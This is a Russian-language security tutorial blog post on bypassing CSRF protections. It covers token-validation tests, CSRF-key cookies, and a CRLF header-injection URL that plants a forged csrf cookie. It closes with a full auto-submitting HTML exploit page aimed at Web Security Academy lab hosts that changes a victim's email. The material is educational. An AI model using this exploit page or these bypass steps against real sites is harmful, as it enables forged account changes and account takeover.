Дисклеймер
Информация, представленная в данной статье, предназначена исключительно для образовательных и информационных целей. Автор не несет ответственности за использование представленных сведений в противоправных или неэтичных целях.
Применение полученных знаний должно осуществляться строго в рамках действующего законодательства и исключительно для повышения уровня безопасности информационных систем, защиты данных и предотвращения возможных атак.
Используйте информацию ответственно, уважая права и конфиденциальность других лиц;
Продолжаем
Ну что продолжаем. Начинаем с метода детектирования. Но спустимся немного ниже, какие типы популярные типы запросов у нас существуют?
Верно, GET, POST, PUT, DELETE;
Остановимся поподробнее на парочке GET/POST;
Важно помнить, что запрос GET передает параметры в URL; (Зачастую используется для получения данных с сервера):
curl vk.com/fake_page
Тут включается душнила, curl без спец параметров -X, по умолчанию отправляет GET
POST запрос передает данные в теле http запроса;
curl vk.com/fake_page -d "{"foo":"bar"}"
В данном случае -d определяет тело запроса, отправляемого на сервер;
CSRF-token
В предыдущей статье запрос на смену почты в случае использования тега img использовал метод GET, но обычно штуки вроде смены почты реализую на методах POST, также к ним добавляют проверку csrf, чтобы удостовериться что запрос не был подделан (но это не единственный метод проверки подделки запроса);
Это такая штука, которая добавляется "каждый раз" на различные формы, например на смену почты:
<form name="change-email-form" action="/my-account/change-email" method="POST">
<label>Email</label>
<input required type="email" name="email" value="example@normal-website.com">
<input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
<button class='button' type='submit'> Update email </button>
</form>
Чувствуете к чему я виду, верно 2 новые возможности, первое это проверить, а действительно ли POST запросом едины, это можно сделать, изменив тип запроса например на несуществующий PPP, тогда есть возможность увидеть в хедерах ответа поддерживаемые методы запроса;
Запрос:
PPP /my-account/change-email HTTP/2
Host: 0a5e007703028bb680e8a36500660001.web-security-academy.net
Cookie: session=Eud9WAIBCrRud9znXYaW6omV3EjfxBuo
Content-Length: 15
Cache-Control: max-age=0
В ответе может прилететь хедер по типу:
Access-Control-Request-Method: GET,POST,HEAD
Видите мякотку, из ответа можно предположить что сервис поддерживает GET запрос, а также возможно что вместо тело запроса в POST, можно указать запрос в URL
Второй момент, который есть - это csrf токен, механизм призванный противостоять подделке запросов, но включен ли сам этот запрос?
Это очень хороший вопрос, проверить это можно отловив запрос с csrf токеном, тут нужно проверить парочку вещей (это техники, которые можно попробовать проверить):
1) Можно ли запихнуть аброкадабру в токен; (узнать валидация на двух точках? фронтенд/бэкенд)
2) Убрать токен из запроса и посмотреть что будет; (схлопотать ошибку или запрос пройдет?)
3) Проверить, отзываются ли токены; (попробовать скопировать csrf токен от одного пользователя ("аккаунта злоумышленника") и подсунуть его жертве)
CSRF-key
А иногда такое бывает, что у нас есть CSRF-key, это уже кука, которая к нам прилетает в хранилище и валидация запроса происходит совместно, csrf-token/key;
Тут мы уже залезаем плавненько в тему с куками, чтобы не углубляться покажу сразу POC с атакой crlf:
https://example.com/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None
Самое интересное, мы отключаем политику на видимость куки и перебиваем её жертве (Пока не парьтесь, SameSite будет разобран в следующей статье);
Таким образом если приложение уязвимо к атаке crlf, мы можем объединить её с нашим POC к crlf и подломить ;)
Почитать подробнее по crlf атаку: https://habr.com/ru/companies/otus/articles/512226/
Чуть глубже при первом просмотре:
Обычный запрос на смену почты:
POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv
csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com
Видите тут csrfKey это кукис, а токен передается в теле POST запроса (разработчики могут добавить функционал проверки, но могут забыть проверить саму корректность механизма и отставить дыру в приложении)
Вредоносный poc:
<html>
<body>
<form action="https://0ab100c904871cee811de3bc00de0099.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="wiener@normal-user.net-also-normal" />
<input type="hidden" name="csrf" value="fake" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
</script>
<img src="https://0ab100c904871cee811de3bc00de0099.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrf=fake%3b%20SameSite=None" onerror="document.forms[0].submit();"/>
</body>
</html>
Пользак, который попадёт на данную страничку будет обречен ;)
Увидимся в следующих статьях;
===
Если у вас есть вопросы, а также пожелания, пожалуйста оставьте свой комментарий;
Предыдущая статья:https://dzen.ru/a/Z4QdIlP_PEbuVsI-
Мой канал телеграм: https://t.me/devops_talk1ng
Ютуб канал: https://www.youtube.com/@devops_vault